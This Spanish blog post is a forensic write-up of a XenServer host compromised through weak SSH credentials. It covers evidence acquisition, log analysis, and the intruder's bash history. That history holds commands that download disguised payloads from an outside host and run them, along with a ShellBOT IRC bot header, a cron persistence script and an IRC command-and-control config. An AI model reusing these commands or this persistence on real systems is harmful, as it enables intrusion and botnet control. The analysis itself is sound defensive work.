Una intrusión con su análisis forense
Publicado por Pedro C. el 11-01-2013
Se trata de una supuesta empresa que tiene instalada como plataforma de virtualización, el producto comercial Citrix XenServer 6.0, en concreto 6.0.0-50762p. Como máquinas virtuales, dispone de Microsoft© Windows Server 2003 que no se ha visto comprometida en el acceso una vez realizado el oportuno análisis forense.
El escenario, es una red interna y una DMZ, protegida con un appliance comercial hardware actuando como firewall conectada por IP fija con una línea ADSL. Para el acceso a la consola de administración de Citrix XenServer, normalmente se emplea la utilidad de administración comercial a través de la red interna. No se había empleado ningún tipo de acceso local a la máquina física, puesto que había estado operativa todo el tiempo.
El administrador del sistema, descubrió que podía conectar directamente para administrar el hypervisor con el comando "xsconsole" a través del puerto 22/TCP (SSH). Decidió abrir una regla en la DMZ para poder acceder remotamente a la administración de la máquina.
Debido a problemas en el suministro eléctrico, la máquina virtual Windows Server 2003 dejó de funcionar y se hizo necesario entrar en el modo consola para administrar el hypervisor y ver qué ocurría con dicha máquina. Tras varios intentos fallidos para poder entrar con el usuario supervisor root y la contraseña definida en la instalación, -para el ejemplo usaremos 123456-, no se podía acceder a la máquina indicando "Access Denied".
Se hizo necesario acceder físicamente al servidor, por lo que se instaló un teclado y un monitor. Directamente desde el equipo local, tampoco se podía acceder con las credenciales root/123456. Fue en ese momento, cuando se pensó que el sistema podría haber sido comprometido, puesto que nadie más disponía de dicha contraseña.
Recopilación de evidencias
Se procedió a instalar en la máquina física una unidad externa de almacenamiento con 4TB, un teclado USB, un monitor y a arrancar la máquina con la suite Helix de http://www.e-fense.com en su versión libre (1.9) para volcar todo el contenido de los discos originales a la unidad externa y mantener la cadena de custodia.
Para ello, se ha empleado adepto y se ha generado el hash de la imagen binaria con SHA-1 al objeto de poder verificar, en cualquier momento tras la realización de copias, que origen y destino son idénticos, dando así plena validez a la prueba y a los procesos de análisis que hagan uso de ella, así como a las conclusiones a las que puedan llegarse.
Queda por lo tanto de este modo garantizado que el analista forense no ha realizado manipulación alguna de las pruebas desde el momento en que se realiza la adquisición de las mismas.
En adepto, nos hemos decantado por la Metodología DCFLDD (desarrollado por el departamento de los EEUU, Defense Computer Forensics Lab) que presenta características avanzadas en las prácticas de adquisición de evidencias forenses con respecto a una copia con la herramienta dd o similares.
La cadena de custodia permite identificar con claridad quién ha estado en posesión de las evidencias antes de que éstas sean utilizadas en instancias judiciales, permitiendo que cualquier depositario de las mismas pueda ser citado judicialmente si las evidencias quedaran en entredicho durante el proceso. Este hecho atiende habitualmente a posibles errores respecto de los procedimientos utilizados durante el peritaje.
Queda recogido en la Ley 1/2000 de Enjuiciamiento Civil el objeto y finalidad del dictamen de peritos a través de su artículo 335:
Objeto y finalidad del dictamen de peritos. Juramento o promesa de actuar con objetividad.
1. Cuando sean necesarios conocimientos científicos artísticos, técnicos o prácticos para valorar hechos o circunstancias relevantes en el asunto o adquirir certeza sobre ellos, las partes podrán aportar al proceso el dictamen de peritos que posean los conocimientos correspondientes o solicitar, en los casos previstos en esta Ley, que se emita dictamen por perito designado en el Tribunal.
2. Al emitir el dictamen todo perito deberá manifestar, bajo juramento o promesa de decir la verdad, que ha actuado y, en su caso, actuará con la mayor objetividad posible, tomando en consideración tanto lo que pueda favorecer como lo que sea susceptible de causar perjuicio a cualquiera de las partes, y que conoce las sanciones penales en las que podrá incurrir si incumpliere su deber como perito.
La custodia de las pruebas, se convierte por lo tanto en un procedimiento fundamental que permite al perito garantizar la independencia y objetividad en la elaboración de sus conclusiones, sin haber realizado manipulación de las evidencias para favorecer a alguna de las partes.
Con la herramienta adepto, se ha generado también el informe de cadena de custodia en formato PDF.
Análisis y Tratamiento
Puesto que se dispone de otro servidor exactamente con las mismas características hardware que el supuestamente comprometido, se ha volcado una de las imágenes generadas en el mismo. Se podría haber empleado también una máquina virtual, pero para evitar la posible detección de la WM en caso de tratarse de un malware, se ha evitado. El hardware ha sido completamente aislado en una red MZ monitorizando cualquier entrada/salida de tramas en las interfaces de red.
En el arranque, se observó que no había nada extraño que impidiera el proceso. Una vez arrancada la máquina, desde su interface de configuración local (xsconsole), se procede a intentar la última opción de Local Command Shell para proporcionar las credenciales de administración root/123456 que sólo conocía el administrador.
Tras varios intentos de acceso no se tiene éxito, por lo que claramente, el password ha sido comprometido.
Se procede a arrancar la máquina con Hiren’s 15.2 live-cd de http://www.hiren.info/pages/bootcd para montar la imagen para su análisis.
Se procede a montar:
mount /dev/sda1 /mnt
Miramos el fichero passwd para poder comprobar si ha sido alterado:
cd /mnt/etc ls –la passwd -rw-r—r-- 1 root root 1376 2012-12-11 14:55 /etc/passwd
Conforme se evidencia, el fichero ha sido cambiado a las 14:55 hora local de la BIOS de la máquina.
Leemos dicho fichero para comprobar su contenido:
more /mnt/etc/passwd root:$1$EcFv/laO$UN2dgF4hfEC05/8HQvnek0:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin:/sbin/nologin daemon:*:2:2:daemon:/sbin:/sbin/nologin adm:*:3:4:adm:/var/adm:/sbin/nologin lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail:/sbin/nologin news:*:9:13:news:/etc/news: uucp:*:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:*:11:0:operator:/root:/sbin/nologin games:*:12:100:games:/usr/games:/sbin/nologin gopher:*:13:30:gopher:/var/gopher:/sbin/nologin ftp:*:14:50:FTP User:/var/ftp:/sbin/nologin nobody:*:99:99:Nobody:/:/sbin/nologin vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin dbus:!!:81:81:System message bus:/:/sbin/nologin haldaemon:!!:68:68:HAL daemon:/:/sbin/nologin sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin ntp:!!:38:38::/etc/ntp:/sbin/nologin rpc:!!:32:32:Portmapper RPC user:/:/sbin/nologin pcap:!!:77:77::/var/arpwatch:/sbin/nologin rpcuser:!!:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:!!:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin qemu:!!:100:101::/none:/bin/bash vncterm:!!:101:102::/none:/bin/bash qemu_base:!!:65535:65535::/none:/bin/bash vncterm_base:!!:131072:131072::/none:/bin/bash simba:$1$t/kUOJ.D$DLcvT3JMaX0BrS1Ko2egO0:0:0::/root:/bin/bash
Nos llama la atención que no use shadow passwords ya que entonces, las contraseñas sería almacenadas en /etc/shadow. Recordando el formato del fichero passwd, tenemos para cada línea, 7 campos separados por dos puntos ":" dispuestos de la forma login_usuario:$tipo[$sal_empleada]password_encriptado:UID:GID:nombre_mostrado:directorio:shell por lo que enseguida nos damos cuenta que hay una entrada en el usuario root y otro usuario denominado simba con UID 0 y GID 0 (root:root) que no pertenece a nuestro sistema. Luego la lógica, nos dice que habrá entrado como root comprometiendo nuestra contraseña y habrá creado el usuario simba.
Ahora, podremos usar John The Ripper o Hashcat para hacerlo con las GPUs si queremos saber el password que puso y cual es el que cambió, ya que $1 indica MD5 y a continuación hasta el siguiente $ encontramos la sal empleada y a continuación el password cifrado. Recordar que el algoritmo es de una única vía, es decir, no permite revertir el password por lo que tendremos que ayudarnos de un buen diccionario.
Lo siguiente que hacemos, es determinar los usuarios que han accedido a la máquina comprometida.
last –f /mnt/var/log/wtmp reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 17:31 - 11:57 (18:25) root pts/0 Wed Dec 12 16:36 - down (00:49) root pts/4 Wed Dec 12 16:36 - down (00:49) root pts/0 Wed Dec 12 16:35 - 16:36 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/0 Wed Dec 12 16:35 - 16:35 (00:00) root pts/4 Wed Dec 12 16:35 - 16:36 (00:00) ... reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 16:28 - 17:25 (00:57) reboot system boot 2.6.32.12-0.7.1. Wed Dec 12 15:57 - 17:25 (01:27) root pts/4 x.y.z.w Tue Dec 11 14:55 - 14:58 (00:02) reboot system boot 2.6.32.12-0.7.1. Tue Dec 11 08:44 - 17:25 (1+08:41) root pts/0 Tue Dec 11 08:24 - down (00:01) root pts/1 A.B.C.D Mon Dec 10 22:30 - 22:32 (00:01) reboot system boot 2.6.32.12-0.7.1. Mon Dec 10 19:09 - 08:25 (13:15) root pts/0 Mon Dec 10 18:16 - down (00:00) ... wtmp begins Wed Mar 14 17:26:36 2012
Comprobamos también los accesos incorrectos:
lastb –f /mnt/var/log/btmp root ssh:notty 192.168.1.140 Wed Dec 12 22:53 - 22:53 (00:00) root ssh:notty 192.168.1.254 Wed Dec 12 17:39 - 17:39 (00:00) root ssh:notty 192.168.1.254 Wed Dec 12 17:36 - 17:36 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:54 - 16:54 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:53 - 16:53 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:51 - 16:51 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:32 - 16:32 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:32 - 16:32 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:31 - 16:31 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 16:31 - 16:31 (00:00) root ssh:notty 192.168.1.1 Wed Dec 12 15:45 - 15:45 (00:00) ... mac ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) mac ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) root ssh:notty x.y.z.w Wed Dec 12 08:00 - 08:00 (00:00) root ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) root ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) oracle ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) oracle ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) ... bins ssh:notty x.y.z.w Wed Dec 12 07:59 - 07:59 (00:00) ... ssh ssh:notty x.y.z.w Wed Dec 12 07:58 - 07:58 (00:00) fazan ssh:notty x.y.z.w Wed Dec 12 07:58 - 07:58 (00:00) ... btmp begins Tue Dec 11 12:38:09 2012
Claramente se observan varios ataques por diccionario desde varias IP’s. En especial, ya que el administrador del sistema dice que abrió el SSH a las 23:30 del día 10 de Diciembre de 2012, se observa la entrada de un usuario como root desde la dirección IPv4 x.y.z.w
Se procede a localizar dicha IP en las bases de datos. Para ello, la consulta la realizamos sobre RIPE.NET por tratarse de una IP geolocalizada en Europa:
This is the RIPE Database search service. The objects are in RPSL format. The RIPE Database is subject to Terms and Conditions. See http://www.ripe.net/db/support/db-terms-conditions.pdf inetnum: 90.160.0.0 - 90.175.255.255 netname: ES-UNI2-20060912 descr: France Telecom Espana SA country: ES org: ORG-ULt1-RIPE admin-c: HAF10-RIPE tech-c: HAF10-RIPE status: ALLOCATED PA mnt-by: RIPE-NCC-HM-MNT mnt-lower: UNI2-MNT mnt-routes: UNI2-MNT mnt-domains: UNI2-MNT source: RIPE #Filtered organisation: ORG-ULt1-RIPE org-name: France Telecom Espana SA org-type: LIR address: France Telecom Spain SA Gema Agudo Martinez. Parque Empresarial La FincaPaseo del Club Deportivo 1 - edificio 7 - 2a planta 28223 Madrid SPAIN phone: +34912521200 fax-no: +34656155743 admin-c: HT874-RIPE admin-c: HAF10-RIPE admin-c: HTF15-RIPE admin-c: HA1067-RIPE admin-c: HT876-RIPE mnt-ref: UNI2-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered role: Hostmaster Administrator FTE address: Parque Empresarial La Finca address: Edificio 9 address: Paseo del Club Deportivo, 1 address: 28223 Pozuelo de Alarcon address: Madrid, Spain admin-c: HA1066-RIPE admin-c: HA1067-RIPE tech-c: HA1066-RIPE tech-c: HA1067-RIPE nic-hdl: HAF10-RIPE remarks: spam, abuse reports....mailto:abuse@orange.es abuse-mailbox: abuse@orange.es mnt-by: UNI2-MNT source: RIPE #Filtered Update Delete More Info from RIPEstat route: 90.160.0.0/12 mnt-by: UNI2-MNT mnt-routes: UNI2-MNT descr: Uni2 customers origin: AS12479 source: RIPE #Filtered
No se han producido entradas del usuario simba, por lo que ha debido ser una entrada como usuario root y probando contraseñas por defecto o fuerza bruta en la que ha tenido éxito y ha creado como "usuario de respaldo" a simba
Ahora, procedemos a revisar el historial de comandos para ver si se pudiera extraer alguna información útil del ataque realizado. Vaya!!! El intruso ni siquiera se ha molestado en borrarlo!!!
more /mnt/root/.bash_history
Observamos entre otros comandos introducidos, ya que uno de ellos es adduser simba...
cd /usr/local/games wget hotzu.260mb.org/em/auz.pdf wget hotzu.260mb.org/em/cb.pdf perl cb.pdf rm –rf cb.pdf tar –zxvf auz.pdf rm –rm auz.pdf cd .zu cd .au nano zneu.ini ./run ./autorun
Analizando el fichero cb.pdf, observamos que se trata de un script de perl para crear un listener de IRC para poder crear canales legítimos y otros de "de dudosa procedencia":
#!/usr/bin/perl # ShellBOT # 0ldW0lf - oldwolf@atrix-team.org # - www.atrix-team.org # Stealth ShellBot Vers?o 0.2 by Thiago X # Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :) # Mudan?as: # - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar?ado :); # - O Bot agora responde PINGs; # - Voc? pode definir o prefixo dos comandos nas configura??es; ...
A continuación, extraemos los contenidos del fichero auz.pdf:
tar –zxvf auz.pdf autorun crond LinkEvents pico run zmeu.help zmeu.ini zmeu.lvl zmeu.user zmeu.user1 logs (dir) vacío r (dir) away insult kicks nicks pickup say signoff tsay versions
Procedemos a ver el contenido de zneu.ini
cat /mnt/usr/local/games/.au/zneu.ini server 173.245.201.28 7000 server 94.125.182.255 7000 server 173.245.201.28 6667 server 130.237.188.216 7000 server 194.109.20.90 7000 server 94.125.182.255 6667 server 130.237.188.216 6667 server 194.109.20.90 6667 server 194.109.20.90 6660 server 208.83.20.130 6660 server 208.83.20.130 7000 server 82.76.255.62 6660 server 82.76.255.62 6667 server tampa.fl.us.undernet.org server 208.83.20.130 server mesa.az.us.undernet.org server 69.16.172.34 server budapest.hu.eu.undernet.org server 94.125.182.255 server oslo.no.eu.undernet.org server 195.18.164.194 server hamburg.de.eu.undernet.org server 95.141.29.10 server tampa.fl.us.undernet.org server 208.83.20.130 server mesa.az.us.undernet.org server 69.16.172.34 server budapest.hu.eu.undernet.org server 94.125.182.255 server oslo.no.eu.undernet.org server 195.18.164.194 server hamburg.de.eu.undernet.org server 95.141.29.10 ### BOT 1 ### NICK zeus USERFILE user1 CMDCHAR - LOGIN zeus IRCNAME zeuseurograb SERVICE x@channels.undernet.org login - - VIRTUAL ip MODES +ix-ws HASONOTICE TOG CC 1 TOG CLOAK 1 TOG SPY 1 SET OPMODES 6 SET BANMODES 6 SET CTIMEOUT 60 SET CDELAY 30 CHANNEL #zeuseurograb TOG PUB 1 TOG MASS 1 TOG SHIT 1 TOG PROT 1 TOG ENFM 0 TOG RV 1 SET AAWAY 0 SET MDL 3 SET MKL 3 SET MBL 3 SET MPL 2
Rápidamente observamos que se ha creado un canal CHANNEL #zeuseurograb bajo la red undernet.org y que por el nombre, probablemente se trate de ZEUS-EUROGRABBER como posteriormente comprobamos.
A continuación, observamos el ejecutable run
more /mnt/usr/local/games/.au/run #!/bin/sh export PATH=. crond
Exporta el PATH para incluir el directorio creado .au y ejecutar su propio crond para mantenerse en ejecución conforme observaremos en el siguiente script.
Analizando el fichero autorun observamos:
more /mnt/usr/local/games/.au/autorun #!/bin/sh pwd > zmeu.dir dir=$(cat zmeu.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > zmeu.cron crontab zmeu.cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/zmeu.pid; then pid=\$(cat $dir/zmeu.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
La primera línea de shell script tras el intérprete a ejecutar, recoge el nombre del subdirectorio y lo guarda en el fichero zmeu.dir
La segunda línea lo toma como directorio de trabajo. A continuación crea un fichero zmeu.cron para ser ejecutado el fichero update bajo el crond propio y que si existe algún cambio en IP’s internas, etc., pueda mantenerse el bot en ejecución.
En el fichero update, básicamente lo que hace es comprobar si existe el proceso para poder seguir siendo ejecutado el binario en el directorio de destino. Se describe a modo de ejemplo, otro fichero localizado en otro servidor comprometido:
wget http://www.victima.com/var/www/site/.test/update #!/bin/sh if test -r /var/www/html/site/.test/zmeu.pid; then pid=$(cat /var/www/html/site/.test/zmeu.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /var/www/html/site/.test ./run &>/dev/null
Se observan además una serie de ficheros que deja el binario, denominados "canal.seen" y donde se tiene acceso a los nicks y direcciones IP’s o nombre DNS de la gente que ha conectado. Además, también existe un fichero "login.seen" (obtenidos canal y login del fichero zmeu.ini)
Se procede a investigar los usuarios que han accedido al canal creado por el bot:
cat /mnt/usr/local/games/.au/zeus.seen [omitido] cat /mnt/usr/local/games/.au/zeuseurograb.seen [omitido]
El contenido de dichos ficheros no se muestra, ya que recogen pruebas de usuarios que han sido puestas a disposición del Grupo de Delitos Telemáticos de la Guardia Civil (https://www.gdt.guardiacivil.es/webgdt/home_alerta.php) ya que se ha observado con un netstat –atunp una actividad en el servidor comprometido inusual de tráfico.
Comentarios
El intruso fue "poco inteligente" pues ocultó muy poco las pruebas que lo comprometían como así ha pasado. Tal vez, fue porque esperaba que ante una contraseña tan fácil puesta por un administrador de sistemas, éste tal vez no tuviera mucha idea y no lo detectaría nunca. Sin embargo, no contó con un cuelgue de Windows al que se hizo necesario acceder desde la consola...
Y ya sabeis que es necesario emplear contraseñas fuertes y cambiarlas a menudo. Y por supuesto, los ficheros de log's están para algo más que ocupar espacio en el disco duro.
Para los que querais investigar el Bot del IRC, os dejamos en nuestro repositorio maligno los ficheros necesarios para poder hacerlo.
Recordaros que en los Cursos especializados de Seguridad Informática y Administración de Sistemas que ofrecemos en Academia MADESYP realizamos y establecemos las contramedidas con todo esto y mucho más...
Ser buenos y no hagáis maldades!